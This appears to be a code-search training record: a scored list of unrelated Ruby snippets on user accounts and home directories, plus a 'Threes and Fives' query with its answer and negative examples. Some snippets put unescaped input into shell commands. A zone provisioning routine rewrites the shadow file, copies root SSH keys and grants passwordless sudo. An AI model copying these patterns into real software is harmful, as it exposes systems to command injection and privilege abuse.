"def get_account_home_mountpoint()\n account_home_mountpoint = \"/export/home/\"+$q_struct[\"account_login\"].value\n return account_home_mountpoint\nend",
"def username= username\n\t\t\tcheck_username username\n\t\t\t@username = username\n\t\tend",
"def add_user(username, reload = false, update_default = false)\n until username\n print \"User name >\"\n STDOUT.flush\n username = STDIN.gets.chomp\n return if username.empty?\n redo unless username =~ /\\A[0-9A-Z_a-z]+\\z/\n end\n \n if !reload && user_registered?(username)\n puts \"The user \\\"#{username}\\\" is already registered.\"\n return\n end\n \n auth = auth_http(:user => username, :reload => reload, :browser => true)\n if auth != nil\n puts \"User \\\"#{username}\\\" is successfully registered.\"\n if update_default || @config[\"login/\"] == nil\n @config[\"login/\"] = username\n puts \"Default user is set to @#{username}.\"\n end\n end\n save_config\n end",
"def path_from_args(path, args)\n username = nil\n args.each { |arg| username = arg if arg.is_a?(String) }\n username ? path + \"/#{username}\" : path\n end",
"def add_user(user) # rubocop:disable Metrics/AbcSize\n cmd_args = [\"'#{user.name}'\"]\n cmd_args.unshift \"--home '#{user.homedir}'\" if user.homedir\n if user.shell\n cmd_args.unshift \"--shell '#{user.shell}'\"\n elsif user.is_system\n cmd_args.unshift \"--shell '/usr/sbin/nologin'\"\n end\n cmd_args.unshift \"--gid '#{user.group}'\" if user.group\n cmd_args.unshift '--system' if user.is_system\n\n # Collapse the cmd_args array into a string that can be used\n # as an argument to `useradd`\n useradd_args = cmd_args.join \"\\s\"\n\n # Collapse the cmd_args array into a string that can be used\n # as an argument to `usermod`; If this is a system account,\n # then specify it as such for user addition only (strip\n # --system from usermod_args)\n usermod_args = (cmd_args - [\"--system\"]).join \"\\s\"\n\n return <<-HERE.undent\n if getent passwd '#{user.name}' > /dev/null 2>&1; then\n /usr/sbin/usermod #{usermod_args}\n else\n /usr/sbin/useradd #{useradd_args}\n fi\n HERE\n end",
"def userhost(nicknames)\n raw \"USERHOST #{Array(nicknames).map(&:to_s).join \" \"}\\r\\n\"\n end",
"def user username, password, opts = {}\n opts.reverse_merge! :access => false, :priv => false\n @mock_ldap.user username, password, opts\n add username\n end",
"def get_full_name(user)\n begin\n Etc.getpwnam(\"#{user}\")[\"gecos\"].chomp\n # or with dscl\n # %x(dscl /Search -read /Users/#{user} dsAttrTypeNative:cn).split.drop(1).join(\" \") \n rescue Exception => e\n end\n \n end",
"def home(user=nil)\n File.expand_path(Dir.home(user))\n end",
"def add_user(username, params)\n\t\t\t\t@session['datastore'][username] = params\n\t\t\tend",
"def call(username, delay = 2)\n base_name = username.sub(\".\", \"\")\n base_name = base_name[0...Org::HANDLE_MAX_LENGTH - Org::PFDA_PREFIX.size - RESERVED_SIZE]\n\n idx = 2\n candidate = base_name.dup\n\n while Org.where(handle: candidate).exists? || @api.org_exists?(Org::PFDA_PREFIX + candidate)\n candidate = \"#{base_name}.#{idx}\"\n sleep delay\n idx += 1\n end\n\n candidate\n end",
"def userhost(*nicks)\n raise ArgumentError.new(\"Wrong number of arguments\") unless nicks.size > 0 && nicks.size <= 5\n send_data(\"USERHOST #{nicks.join(' ')}\")\n end",
"def process(message)\n if message[:payload].start_with?(\"/\")\n command, *params = message[:payload].split(\" \")\n method_name = command[1..-1]\n if respond_to?(method_name)\n send(method_name, *params)\n else\n puts \"Unknown command: #{command}\"\n end\n return true\n else\n username = message[:headers][\"username\"]\n @users << username unless @users.include?(username)\n return false\n end\n end",
"def full_name\n \"#{username}/#{name}\"\n end",
"def ldap_realname(username)\n\n begin\n # Workaround for bug in jruby-ldap-0.0.1:\n LDAP::load_configuration()\n rescue\n\n end\n\n ldap_host = 'ldap.uio.no'\n conn = LDAP::Conn.new(ldap_host, LDAP::LDAP_PORT)\n filter = \"(uid=#{username})\";\n base_dn = \"dc=uio,dc=no\"\n\n if conn.bound? then\n conn.unbind()\n end\n\n ansatt = nil\n conn.bind do\n\n conn.search2(\"dc=uio,dc=no\", LDAP::LDAP_SCOPE_SUBTREE,\n \"(uid=#{username})\", nil, false, 0, 0).each do |entry|\n\n brukernavn = entry.to_hash[\"uid\"][0]\n fornavn = entry.to_hash[\"givenName\"][0]\n etternavn = entry.to_hash[\"sn\"][0]\n # epost = entry.to_hash[\"mail\"][0]\n # adresse = entry.to_hash[\"postalAddress\"][0]\n\n return fornavn + \" \" + etternavn\n end\n end\n\nend",
"def update_ftp_account(username, attributes)\n ftp_account = ::Proftpd::FtpAccount.find_by_username(username)\n return false if ftp_account.nil?\n !!ftp_account.update(attributes)\n end",
"def find_by_username(username)\n attributes = finder(\n :select => [:id, :username, :password, :uid, :gid, :ftpdir, :homedir, :valid_until],\n :conditions => {:username => username})\n return nil if attributes.nil?\n\n new(attributes)\n end",
"def username=(_arg0); end",
"def username=(_arg0); end",
"def username=(_arg0); end",
"def username_available?(username)\n response = get('api/username_available.json', :user => username)\n response[:body]\n end",
"def expand_file_path(a_path_string)\n if a_path_string.start_with? '~'\n a_path_string = \"${HOME}\" + a_path_string[1, a_path_string.size-1]\n end\n\n a_path_string = `echo \"#{a_path_string}\"`.chomp\n\n return a_path_string\nend",
"def username(u)\n @config[:username] = u\n end",
"def delete_user(username, removehome=false)\n\t\t\tend",
"def make_friend_with(username)\n # Requires authorization\n raise PutioError::AuthorizationRequired if authentication_required!\n\n make_post_call('/friends/%s/request' % [username]).status == \"OK\"\n end",
"def username=(username)\n validate_options(username: username)\n @username = username\n end",
"def negotiate!; end",
"def get_username mode=\"new\"\n\t\tputs \"Please enter your username:\"\n\t\tinput = gets.chomp.downcase\n\t\tuntil !input.empty? && input[0,1]!='.' && input != \"menu\"\n\t\t\tputs \"\",\"The username can't be empty, menu, or start with '.'. \",\"Please enter another username:\"\n\t\t\tinput = gets.chomp\n\t\tend\n\t\t@username = input\n\tend",
"def get_key_prefix(username, email, uuid, superuser, profile_data = nil)\n if profile_data\n profile = \" --profile #{Shellwords.escape(profile_data).gsub('\"', '\\\\\"')}\"\n else\n profile = \"\"\n end\n \n superuser = superuser ? \" --superuser\" : \"\"\n\n %Q{command=\"rs_thunk --username #{username} --uuid #{uuid}#{superuser} --email #{email}#{profile}\" }\n end",
"def super_user\r\n caller[0] =~ /`(.*)'/ #`\r\n skipping(\"not super user\", $1)\r\n end",
"def prepend_commands(command = '', user_pc = '', _opts = {})\n return user_pc unless command.index('vsh').nil?\n\n if self[:platform].include?('cisco_nexus')\n return user_pc unless command.index('ntpdate').nil?\n end\n\n prepend_cmds = 'source /etc/profile;'\n prepend_cmds << \" sudo -E sh -c \\\"\" if self[:user] != 'root'\n prepend_cmds << \"ip netns exec #{self[:vrf]} \" if self[:vrf]\n prepend_cmds << \"#{user_pc} \" if user_pc && !user_pc.empty?\n prepend_cmds.strip\n end",
"def dn_for username\n \"uid=#{username},#{@dn_suffix}\"\n end",
"def edit_username(username)\n wait_until{ change_username_link.visible? }\n change_username_link.click\n username_tb.type_text username\n submit_edit_username_btn.click\n verify_password(QA_ENV['bus_password'])\n alert_accept\n wait_until{ !submit_edit_username_btn.visible? }\n end",
"def standard_zone_post_install(options)\n options['zonedir'] = options['zonedir']+\"/\"+options['name']\n if File.directory?(options['zonedir'])\n options['clientdir'] = options['zonedir']+\"/root\"\n tmp_file = \"/tmp/zone_\"+options['name']\n admin_username = options['q_struct']['admin_username'].value\n admin_uid = options['q_struct']['admin_uid'].value\n admin_gid = options['q_struct']['admin_gid'].value\n admin_crypt = options['q_struct']['admin_crypt'].value\n root_crypt = options['q_struct']['root_crypt'].value\n admin_fullname = options['q_struct']['admin_description'].value\n admin_home = options['q_struct']['admin_home'].value\n admin_shell = options['q_struct']['admin_shell'].value\n passwd_file = options['clientdir']+\"/etc/passwd\"\n shadow_file = options['clientdir']+\"/etc/shadow\"\n message = \"Checking:\\tUser \"+admin_username+\" doesn't exist\"\n command = \"cat #{passwd_file} | grep -v '#{admin_username}' > #{tmp_file}\"\n execute_command(options,message,command)\n message = \"Adding:\\tUser \"+admin_username+\" to \"+passwd_file\n admin_info = admin_username+\":x:\"+admin_uid+\":\"+admin_gid+\":\"+admin_fullname+\":\"+admin_home+\":\"+admin_shell\n command = \"echo '#{admin_info}' >> #{tmp_file} ; cat #{tmp_file} > #{passwd_file} ; rm #{tmp_file}\"\n execute_command(options,message,command)\n print_contents_of_file(options,\"\",passwd_file)\n info = IO.readlines(shadow_file)\n file = File.open(tmp_file,\"w\")\n info.each do |line|\n field = line.split(\":\")\n if field[0] != \"root\" and field[0] != \"#{admin_username}\"\n file.write(line)\n end\n if field[0].to_s.match(/root/)\n field[1] = root_crypt\n copy = field.join(\":\")\n file.write(copy)\n end\n end\n output = admin_username+\":\"+admin_crypt+\":::99999:7:::\\n\"\n file.write(output)\n file.close\n message = \"Information:\\tCreating shadow file\"\n command = \"cat #{tmp_file} > #{shadow_file} ; rm #{tmp_file}\"\n execute_command(options,message,command)\n print_contents_of_file(options,\"\",shadow_file)\n client_home = options['clientdir']+admin_home\n message = \"Information:\\tCreating SSH directory for \"+admin_username\n command = \"mkdir -p #{client_home}/.ssh ; cd #{options['clientdir']}/export/home ; chown -R #{admin_uid}:#{admin_gid} #{admin_username}\"\n execute_command(options,message,command)\n # Copy admin user keys\n rsa_file = admin_home+\"/.ssh/id_rsa.pub\"\n dsa_file = admin_home+\"/.ssh/id_dsa.pub\"\n key_file = client_home+\"/.ssh/authorized_keys\"\n if File.exist?(key_file)\n system(\"rm #{key_file}\")\n end\n [rsa_file,dsa_file].each do |pub_file|\n if File.exist?(pub_file)\n message = \"Information:\\tCopying SSH public key \"+pub_file+\" to \"+key_file\n command = \"cat #{pub_file} >> #{key_file}\"\n execute_command(options,message,command)\n end\n end\n message = \"Information:\\tCreating SSH directory for root\"\n command = \"mkdir -p #{options['clientdir']}/root/.ssh ; cd #{options['clientdir']} ; chown -R 0:0 root\"\n execute_command(options,message,command)\n # Copy root keys\n rsa_file = \"/root/.ssh/id_rsa.pub\"\n dsa_file = \"/root/.ssh/id_dsa.pub\"\n key_file = options['clientdir']+\"/root/.ssh/authorized_keys\"\n if File.exist?(key_file)\n system(\"rm #{key_file}\")\n end\n [rsa_file,dsa_file].each do |pub_file|\n if File.exist?(pub_file)\n message = \"Information:\\tCopying SSH public key \"+pub_file+\" to \"+key_file\n command = \"cat #{pub_file} >> #{key_file}\"\n execute_command(options,message,command)\n end\n end\n # Fix permissions\n message = \"Information:\\tFixing SSH permissions for \"+admin_username\n command = \"cd #{options['clientdir']}/export/home ; chown -R #{admin_uid}:#{admin_gid} #{admin_username}\"\n execute_command(options,message,command)\n message = \"Information:\\tFixing SSH permissions for root \"\n command = \"cd #{options['clientdir']} ; chown -R 0:0 root\"\n execute_command(options,message,command)\n # Add sudoers entry\n sudoers_file = options['clientdir']+\"/etc/sudoers\"\n message = \"Information:\\tCreating sudoers file \"+sudoers_file\n command = \"cat #{sudoers_file} |grep -v '^#includedir' > #{tmp_file} ; cat #{tmp_file} > #{sudoers_file}\"\n execute_command(options,message,command)\n message = \"Information:\\tAdding sudoers include to \"+sudoers_file\n command = \"echo '#includedir /etc/sudoers.d' >> #{sudoers_file} ; rm #{tmp_file}\"\n execute_command(options,message,command)\n sudoers_dir = options['clientdir']+\"/etc/sudoers.d\"\n check_dir_exists(options,sudoers_dir)\n sudoers_file = sudoers_dir+\"/\"+admin_username\n message = \"Information:\\tCreating sudoers file \"+sudoers_file\n command = \"echo '#{admin_username} ALL=(ALL) NOPASSWD:ALL' > #{sudoers_file}\"\n execute_command(options,message,command)\n else\n handle_output(options,\"Warning:\\tZone #{options['name']} doesn't exist\")\n quit(options)\n end\n return\nend",
"def fetch(username)\n @response.fetch(username) do\n uri = uri_for_user(username)\n json = send_request(uri)\n\n begin\n @response[username] = JSON.parse(json.read)\n rescue JSON::ParserError\n raise InvalidJson, 'Received invalid json in response'\n end\n end\n end",
"def send_signup_email(user,command)\n @user = user\n @command= command\n subjectMail= 'Nouvelle commande de ' + @user.username\n mail( :to => @user.email,\n :subject => subjectMail )\n end",
"def change_owner(username, group, path)\n %x(sudo chown -R #{Shellwords.escape(username)}:#{Shellwords.escape(group)} #{path})\n\n $?.success?\n end",
"def expand_path(path)\n path = path.to_s.gsub(/~(\\w+)?/) { |m| homedir($1) }\n File.expand_path(path, cwd.to_s)\n end",
"def user(username)\n display_gem_info(false, options[:dependencies], nil, username)\n end",
"def fixup_homedir_ownership(user)\n\t\t# Determine whether current ownership is right\n\t\thomedir_stat = File.stat(\"/home/#{user}/\")\n\n\t\tuid_correct =\n\t\t\t\tbegin\n\t\t\t\t\tEtc.getpwuid(homedir_stat.uid).name == user\n\t\t\t\trescue ArgumentError\n\t\t\t\t\tfalse\n\t\t\t\tend\n\t\tgid_correct =\n\t\t\t\tbegin\n\t\t\t\t\tEtc.getgrgid(homedir_stat.gid).name == user\n\t\t\t\trescue ArgumentError\n\t\t\t\t\tfalse\n\t\t\t\tend\n\n\t\tlogger.debug \"[CPB:restore] Attemping homedir permission fix.\" unless uid_correct and gid_correct\n\n\t\tunless uid_correct\n\t\t\tinvoke_and_log_cmd(\"/usr/bin/find -P /home/#{user}/ -user #{homedir_stat.uid} -exec /bin/chown -P --no-dereference #{user} '{}' \\\\;\", 'chown')\n\t\tend\n\n\t\tunless gid_correct\n\t\t\tinvoke_and_log_cmd(\"/usr/bin/find -P /home/#{user}/ -group #{homedir_stat.gid} -exec /bin/chgrp -P --no-dereference #{user} '{}' \\\\;\", 'chgrp')\n\t\tend\n\n\tend",
"def user_directory\n File.expand_path('~')\n end",
"def send_user_list(path)\n path = path[1..-1]\n path = path[0..-2] if path.ends_with?(\"/\")\n results = []\n I3.directory.find_people(:groups, path).each do |uuid|\n p = I3.directory.read_person(uuid)\n result = I3::SharedObject.new\n result.account_name = p.account_name.to_s.downcase\n result.first_name = p.first_name.to_s\n result.last_name = p.last_name.to_s\n result.description = p.description.to_s\n results << result\n end #each\n I3.server.send_object(results)\n end",
"def command_pwd\n # Respond with absolute path for this client\n puts \"Sending #{@directory.path}\"\n @client.puts @directory.path\n end",
"def home_file(*path)\n File.join(ENV['HOME'], *path)\nend",
"def home_file(*path)\n File.join(ENV['HOME'], *path)\nend",
"def build_uri(command = '')\n uri_to_parse = @node +'/1.1/'+ @user_obj.encrypted_login\n uri_to_parse += \"/#{command}\" unless command == ''\n URI.parse(uri_to_parse)\n end",
"def show_tree\n if params[:action] == 'show_tree'\n Log.add_info(request, params.inspect)\n end\n\n con = []\n con << \"(user_id=#{@login_user.id})\"\n\n account_xtype = params[:mail_account_xtype]\n SqlHelper.validate_token([account_xtype])\n\n unless account_xtype.blank?\n con << \"(xtype='#{account_xtype}')\"\n end\n @mail_accounts = MailAccount.find_all(con.join(' and '))\n\n mail_account_ids = []\n @mail_accounts.each do |mail_account|\n\n mail_account_ids << mail_account.id\n\n if MailFolder.where(\"mail_account_id=#{mail_account.id}\").count <= 0\n @login_user.create_default_mail_folders(mail_account.id)\n end\n\n Email.destroy_by_user(@login_user.id, \"status='#{Email::STATUS_TEMPORARY}'\")\n end\n\n @folder_tree = MailFolder.get_tree_for(@login_user, mail_account_ids)\n end",
"def user=(user)\n # HKLU hive file\n @file = \"#{@profiles}/#{user}/NTUSER.DAT\"\n\n raise \"Invalid profile: #{@file}\" unless File.exists? @file\n end",
"def signup_greeting(user, mode = :normal_signup)\n @user = user\n @need_password = (mode == :free_money_signup)\n swapidy_sendmail :to => @user.email, :subject => \"Welcome to Swapidy\"\n end",
"def expand_path(path)\n if m = path.match(/^([^:]+)::((..)(..)(..)(..).*)/)\n pairtree = m[3..6].join('/')\n path = \"#{m[1]}/#{pairtree}/#{m[2]}\"\n end\n path.gsub(':', '/')\n end",
"def sftponly(options)\n \n group 'sftponly', :ensure => :present\n \n exec \"fake shell\",\n :command => \"echo /bin/false >> /etc/shells\",\n :onlyif => \"test -z `grep /bin/false /etc/shells`\"\n \n (options[:users]||'sftponly').to_a.each do |user,hash|\n user = user.to_s\n \n chroot = options[:chroot_directory] || \"/home/#{user}\"\n homedir = chroot + ( hash[:home] || \"/home/#{user}\" )\n \n parent_directories homedir, :owner => 'root', :mode => '755'\n file homedir, \n :ensure => :directory, \n :owner => user, \n :group => user, \n :require => user(user)\n \n user user, \n :ensure => :present,\n :home => \"/home/#{user}/home/#{user}\",\n :shell => \"/bin/false\",\n :groups => (['sftponly'] + hash[:groups].to_a).uniq,\n :require => [group('sftponly'),exec('fake shell')],\n :notify => exec(\"#{user} password\")\n \n password = hash[:password] || rand_pass(6)\n exec \"#{user} password\",\n :command => \"echo #{user}:#{password} | chpasswd\",\n :refreshonly => true\n\n end\n end",
"def chown(p0, p1) end",
"def perform_install!\n warning \"If you are planning to use #{y('Ruby')} and #{y('Passenger')} then #{r(\"DON'T\")} use this NginX installer.\"\n warning \"Instead, use the Passenger module to install it.\"\n standard \"\\n\\s\\s#{y(\"heavenly passenger install to #{y(e.name)}\")}\\n\\n\"\n \n message \"If you do not plan on using #{y('Ruby')} on this server, then this stand-alone installation should be fine.\"\n message \"Do you want to continue?\"\n exit unless yes?\n \n prompt_for_root_password!\n \n Spinner.return :message => \"Installing NginX web server..\" do\n e.install!('nginx')\n g('Done!')\n end\n message \"NginX has been installed in #{y('/etc/nginx')}.\"\n GitPusshuTen::Initializer.new('nginx', 'setup', 'for', \"#{e.name}\")\n end",
"def stash_user_file(file,path)\n users = get_all_over500_users\n users.each_key do |u|\n puts \"copying files to #{u}\\'s home at #{path}.\"\n system \"ditto -V #{file} #{get_homedir(u)}/#{path}/#{File.basename(file)}\"\n FileUtils.chown_R(\"#{u}\", nil, \"#{get_homedir(u)}/#{path}/#{File.basename(file)}\")\n end\n end",
"def user_present(name)\n user_exists = false\n execute(\"dscacheutil -q user -a name #{name}\") do |result|\n user_exists = result.stdout.start_with?(\"name: #{name}\")\n end\n\n return if user_exists\n\n uid = uid_next\n gid = gid_next\n create_cmd = \"dscl . create /Users/#{name}\"\n create_cmd << \" && dscl . create /Users/#{name} NFSHomeDirectory /Users/#{name}\"\n create_cmd << \" && dscl . create /Users/#{name} UserShell /bin/bash\"\n create_cmd << \" && dscl . create /Users/#{name} UniqueID #{uid}\"\n create_cmd << \" && dscl . create /Users/#{name} PrimaryGroupID #{gid}\"\n execute(create_cmd)\n end"
] | [
"0.55341405",
"0.54862833",
"0.5478332",
"0.49840182",
"0.48217687",
"0.4811426",
"0.47954747",
"0.47617483",
"0.47585014",
"0.47217572",
"0.46927047",
"0.4682622",
"0.46410877",
"0.46391237",
"0.46278623",
"0.4600517",
"0.45883474",
"0.45618105",
"0.45610455",
"0.4555594",
"0.45481622",
"0.45276746",
"0.4525458",
"0.4521707",
"0.44634494",
"0.44547054",
"0.44117725",
"0.4392622",
"0.4383832",
"0.437318",
"0.43533602",
"0.43150935",
"0.42828682",
"0.42792824",
"0.42656234",
"0.42650908",
"0.42626095",
"0.42448768",
"0.42439246",
"0.42320395",
"0.42296934",
"0.4227747",
"0.42136624",
"0.41944653",
"0.41875982",
"0.41813666",
"0.41740805",
"0.41676563",
"0.41662806",
"0.41636953",
"0.41547462",
"0.4140387",
"0.41237387",
"0.4119333",
"0.41142392",
"0.40998808",
"0.4094742",
"0.4093673",
"0.40913767",
"0.40909037",
"0.40720913",
"0.40644976",
"0.4031356",
"0.4031356",
"0.4031356",
"0.40289328",
"0.4023967",
"0.3993886",
"0.39854312",
"0.39816415",
"0.39814323",
"0.3980159",
"0.3976889",
"0.39746034",
"0.39676",
"0.39481473",
"0.3939693",
"0.3936969",
"0.39339826",
"0.39291683",
"0.39266232",
"0.39236507",
"0.39210755",
"0.39197445",
"0.3915444",
"0.39136866",
"0.3912067",
"0.39116096",
"0.3907726",
"0.3907726",
"0.39071137",
"0.39065796",
"0.39056116",
"0.389923",
"0.38924733",
"0.3889985",
"0.38899386",
"0.38851386",
"0.3884896",
"0.388372"
] | 0.7661049 | 0 |
3. Threes and Fives | def threes_and_fives
for i in 100..4000000
if (i % 3 == 0 and not i % 5 == 0) or (i % 5 == 0 and not i % 3)
puts i
end
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def passage_of_time\n \n # if the tree is 20 years old, or @dead is true outputs that your tree is dead. \n puts \"Your tree is dead :(\" if @age == 20 || @dead == true\n \n # if the tree is still creating produce and there is a drought, it dies. \n # if there are no produce, it survives and the drought ends\n if @produce_left > 0 && @drought == true \n @dead = true\n puts \"Your tree didn't survive the drought :(\"\n @drought = false\n elsif @drought == true \n puts \"your tree survived tree survived the drought :D\"\n @drought = false\n end\n \n # increment age by 1 if the tree is not dead\n @age += 1 if !@dead \n \n # if the tree is not dead and there is no drought\n # the height increases by 2 feet\n @height += 2 if !@dead && !@drought\n \n # when age is between the criteria below, produce is incremented or set to 0 \n case @age \n when 3..5 then @produce_left = 5\n when 6..12 then @produce_left = 9\n when 13..20 then @produce_left = 15\n else @produce_left = 0\n end\n end",
"def multipleOfThrees(num)\n puts num/3\nend",
"def factions\n \n end",
"def fourth_child\n child 3\n end",
"def traction\n 1 - @traction\n end",
"def bfs\n\n\n end",
"def three_five(number)\n\n\tsum = 0\n\tthrees = Array.new\n\tfives = Array.new \n\n\tfor x in (1...number)\n\t\tthrees.push(x) if x%3 == 0\n\t\tfives.push(x) if x%5 == 0\n\t\t\n\tend\n\t\n\tthrees.each {|t| fives.push(t) if !fives.include?(t)}\n\tfives.each {|f| sum += f}\n\tputs sum\n\nend",
"def one_year_passes\n\t\tputs \"Another year has come and gone...\"\n\n\t\t# Live or die...\n\t\tif @current_age >= DEATH_AGE \n\t\t\tputs \"Good bye... this tree has passed away.\"\n\t\t\t# Reset...\n\t\t\t@height = 0\n\t\t\t@orange_count = 0\n\t\t\t@current_age = 0\n\t\telse\n\t\t\t@current_age += 1 # Age the tree.\n\t\t\t@height += 2 # Let the tree grow.\n\t\t\t@orange_count = 0 # Last years fruit should \"fall off\".\n\t\t\tproduce_fruit # Produce fruit?\n\t\tend\n\tend",
"def estimated_child_age(age)\n\tage / 2\nend",
"def hire_thief\r\n\t\t@thieves += 1\r\n\t\tputs \"*\"*50\r\n\t\tputs \"You just hired a new thief, you now have #{@thieves} thieves working for you.\"\r\n\t\tputs \"*\"*50\r\n\tend",
"def terpene; end",
"def ten_to_fifty\n tenNode = Node.new(10)\n fortyNode = Node.new(40, tenNode)\n fortySixNode = Node.new(46)\n fiftyNode = Node.new(50, fortySixNode)\n\n Node.new(45, fortyNode, fiftyNode)\nend",
"def dominant(fish)\n \nend",
"def deep_thaw!\n replace deep_thaw\n end",
"def compute_sum_of_threes_and_fives\r\n sum = 0\r\n (1...1000).each do |n|\r\n sum += n if n % 3 == 0 || n % 5 == 0\r\n end\r\n sum\r\nend",
"def bfs\n\n end",
"def weight; end",
"def fives2(dice)\n # this gets the number of fives\n fives = get_by_number(dice)[5]\n points = 0\n if fives == 1\n points = 50\n elsif fives == 2\n points += 100\n end\n points\n end",
"def termsig(*) end",
"def fours\r\n left, right = self.pops self.size/3\r\n left.twos + right.twos\r\n end",
"def ftoc(tempF)\n (tempF - 32.0) * (5.0 / 9.0)\nend",
"def third_child\n child 2\n end",
"def passes; end",
"def passes; end",
"def tdist(n, t); p_t(n, t); end",
"def tld; end",
"def tld; end",
"def ftoc(fahrenheit)\n\n (fahrenheit - 32) * 5/9\n\nend",
"def two_pt\n fg - three_p\n end",
"def one_year_passes\n @height = (@height + 0.4).round(1)\n @age += 1\n # make the oranges fall off\n @orange_count = 0 if @orange_count > 0\n if @age >= 25\n @alive = false\n puts \"the tree has just died\"\n exit\n end\n end",
"def anatomy_past_tense; end",
"def dominant_octopus(fish)\n #sorted = []\n return fish if fish.length < 2\n pivot = fish.first\n left = fish[1..-1].select { |feesh| feesh.length <= pivot.length }\n #p left\n right = fish[1..-1].select { |feesh| feesh.length > pivot.length }\n\n dominant_octopus(left) + [pivot] + dominant_octopus(right)\n \n\n\nend",
"def count\n @forest.count(&:negative?)\n end",
"def weight\n 2 # ounces\n end",
"def times_walked_to(state); end",
"def fly\n (0..4).map { @turkey.fly }\n end",
"def index\n @thirtyfives = Thirtyfive.all\n end",
"def villian; end",
"def therapist_quest; end",
"def ftoc(f)\n c = (f - 32.0) * 5.0 / 9.0\nend",
"def virus_effects\n speed_of_spread(predicted_deaths()) \n\n end",
"def trd; end",
"def ftoc(temp)\n return (temp-32)*5/9\nend",
"def faction; end",
"def faction; end",
"def faction; end",
"def the(entity)\n entity.definitely\n end",
"def ftoc(tempF)\n (tempF - 32.0)*5.0/9.0\nend",
"def one_year_passes \n if @alive\n @height += 1\n @age += 1\n end\n \n \n if @age >= 10\n @alive = false\n puts \"This tree has died, at the ripe age of #{age}.\"\n end\n \n if @age >= 5\n @oranges += 15\n end\n end",
"def ftoc f\n (f - 32)*5/9\nend",
"def emotional_adjective; end",
"def tbs_tactic_rate\n tactic = GTBS_Tactics::All_AI_Tactics[ (battler.ai_tactic or 'default') ]\n value = 0\n if @effect_preview.keys.size == 0\n self.rating = value\n return\n end\n \n for target, effect in @effect_preview\n hit_chance, dmg_eval, mp, rate_states, rate_counter = effect\n damage, ref, ally = dmg_eval\n damage_frac = damage / ref.to_f\n dmg_rate = (mp ? tactic.mp_damage : tactic.hp_damage) \n target_rate = [0.01, ((subject.view_range.to_f/$game_map.distance(subject, target)) * target.tgr)].max\n \n if ally\n pained_ally = (target.hp / target.mhp.to_f < 0.33) ? 1.0 + tactic.team_rate : 1.0\n death_unlike = (damage_frac > 0.83) ? [damage_frac*(1.0+tactic.team_rate), 1.0].max : 1.0\n dmg_rate = tactic.hp_heal if damage < 0\n value -= (hit_chance / 100.0) * damage_frac * dmg_rate * death_unlike * pained_ally * target_rate\n value += rate_states * tactic.state * tactic.team_rate * pained_ally * target_rate\n else\n n_ally = 1.0\n #if tactic team enabled, add value if target can be attacked by other allies\n if tactic.team\n for bat in subject.friends\n if @other_bat_attack[bat] & target.positions != []\n n_ally += tactic.team_rate\n end\n end\n end\n if tactic.force_approach\n value += 10\n end\n \n #check 83% because variance add 20%\n death_like = (damage_frac > 0.83) ? [damage_frac*tactic.death_like, 1.0].max : 1.0\n value += n_ally * (hit_chance / 100.0 * damage / ref.to_f * dmg_rate) * death_like * target_rate\n value += rate_states * tactic.state * target_rate\n #don't care of counter if unit will die\n rate_counter *= (1.0 - damage_frac) / 0.17 if (damage_frac > 0.83)\n end\n value -= rate_counter * tactic.counter\n value -= tactic.mp_save * battler.skill_mp_cost(item) / [battler.mmp.to_f, 1.0].max if skill?\n end\n \n #modify rating\n if value > 0\n unless tactic.team \n value += (@move_pos == battler.pos) ? tactic.position : -tactic.position / 4 * rate_pos_safe\n end\n value = (value * ai_rating)\n self.rating += (value * tactic.predictable / 100).to_i\n else\n self.rating = 0\n end\n end",
"def test_health_works\n tree = BinarySearchTree.new\n tree.insert(50, \"movie a\")\n tree.insert(40, \"movie b\")\n tree.insert(60, \"movie c\")\n tree.insert(45, \"movie d\")\n tree.insert(20, \"movie e\")\n tree.insert(55, \"movie f\")\n tree.insert(80, \"movie g\")\n target = tree.health(0)\n assert_equal [[50, 7, 100]], target\n end",
"def index\n @thirtythrees = Thirtythree.all\n end",
"def age!\n @dead = true if age > 10\n if dead?\n puts \"That which is dead is eternal.\"\n else\n @age += 1\n puts \"The tree is now #{age} years old.\"\n bloom\n end\n end",
"def family(mother, father)\n p \"When #{mother} met #{father}\"\nend",
"def ftoc(temp)\n\t(temp - 32) * 5.0/9.0\nend",
"def ftoc(temp)\n\t(temp - 32) * 5/9.0\nend",
"def take_fish_from_river\n @stomach.concact(fish_count)\n end",
"def betty_fish\n fish_total = 22\n peter_fish = 7\n julie_fish = 5\n fish_total - (peter_fish + julie_fish)\n end",
"def feruchemist; end",
"def one_year_passes\n passage_of_time\n puts \"Your #{@type} tree is: #{@age} years old.\" if !@dead\n end",
"def potion; end",
"def farmies(data)\nend",
"def act_triplet(probs)\n\t\t\ttot = 0.0\n\t\t\ttrip = probs.map{|e| tot += e; tot.to_f.round(3)}\n\t\t\trnd = Random.rand(tot)\n\t\t\treturn :check_or_fold if rnd <= trip[0]\n\t\t\treturn :call if rnd <= trip[1]\n\t\t\treturn :bet_raise\n\t\tend",
"def T\r\n score = (3*$tally)+(5*$strength)+(2* $wealth)+($food)+(30*$monkills) \r\n puts \"YOUR CURRENT SCORE IS #{score}.\"\r\nend",
"def dominant_octopus(fish)\n return fish if fish.length < 2\n pivot_el = [fish.first]\n left = fish[1..-1].select { |el| el.length <= fish.first.length }\n right = fish[1..-1].select { |el| el.length > fish.first.length }\n dominant_octopus(left) + pivot_el + dominant_octopus(right)\nend",
"def troop; end",
"def threed(list)\n hasthree = 0\n inarow = 0\n list.size.times do |i|\n if list[i] == 3\n hasthree += 1\n end\n if list[i] == 3 && list[i+1] == 3 && i != (list.size - 1)\n inarow += 1\n end\n end\n if hasthree == 3 && inarow == 0\n return true\n else\n return false\n end\nend",
"def solution(t)\n # write your code in Ruby 2.2\n depth = 0\n childs = []\n\n childs << t.l if t.l\n childs << t.r if t.r\n\n while not childs.empty? do\n depth += 1\n\n cc = []\n childs.each do |t|\n cc << t.l if t.l\n cc << t.r if t.r\n end\n\n childs = cc\n end\n\n depth\nend",
"def betty_fish\n fish_total = 22\n peter_fish = 7\n julie_fish = 5\n fish_total - (peter_fish + julie_fish)\nend",
"def dominant_octopus(fishes)\n return fishes if fishes.length == 1\n mid = fishes.length / 2\n left = dominant_octopus(fishes[0...mid])\n right = dominant_octopus(fishes[mid..-1])\n consume(left, right)\nend",
